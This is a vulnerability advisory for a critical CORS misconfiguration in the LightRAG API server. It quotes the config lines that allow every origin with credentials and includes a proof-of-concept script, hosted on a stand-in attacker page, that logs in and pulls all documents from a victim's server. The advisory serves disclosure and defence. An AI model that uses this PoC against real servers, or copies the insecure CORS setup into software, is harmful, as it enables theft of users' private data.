PT-2026-64085 · Pypi · Hkuds Lightrag
Published
2026-07-23
·
Updated
2026-07-23
CVSS v3.1
9.3
Critical
| Vector | AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N |
Summary
The server defaults to CORS ORIGINS=* combined with allow credentials=True. Starlette's CORSMiddleware echoes the requesting origin in preflight responses when credentials are enabled, meaning every origin is effectively whitelisted for credentialed cross-origin requests. Any malicious website can perform authenticated API calls on behalf of a logged-in user.
Details
python
# lightrag/api/config.py:639
args.cors origins = get env value("CORS ORIGINS", "*") # default wildcard
# lightrag/api/lightrag server.py:1379
app.add middleware(
CORSMiddleware,
allow origins=["*"], # any origin
allow credentials=True, # credentials — PROBLEM with wildcard
allow methods=["*"],
allow headers=["*"],
)
# Starlette CORSMiddleware (confirmed in source):
# preflight explicit allow origin = not allow all origins or allow credentials
# = not True or True = True → echoes the requesting origin back, not "*"
# Result: every origin receives Access-Control-Allow-Credentials: truePoC
Host on any origin. Open in browser where user is logged in to LightRAG:
html
<!-- attacker.com/steal.html -->
<script>
const TARGET = "http://lightrag-server:9621";
(async () => {
// Get victim token (or re-use existing session)
const r1 = await fetch(`${TARGET}/login`, {
method: "POST", credentials: "include",
headers: {"Content-Type": "application/x-www-form-urlencoded"},
body: "username=victim&password=known pass"
});
const { access token } = await r1.json();
// Exfiltrate all documents
const docs = await (await fetch(`${TARGET}/documents`, {
credentials: "include",
headers: { Authorization: `Bearer ${access token}` }
})).json();
console.log("STOLEN DOCS:", docs);
})();
</script>Impact
Permissive cross-domain policy (CWE-942). Any website visited by an authenticated LightRAG user can silently make authenticated API requests, exfiltrating all documents and knowledge graph data or performing destructive actions such as deleting the entire document store.
Fix
Found an issue in the description? Have something to add? Feel free to write us 👾
Related Identifiers
Affected Products
Hkuds Lightrag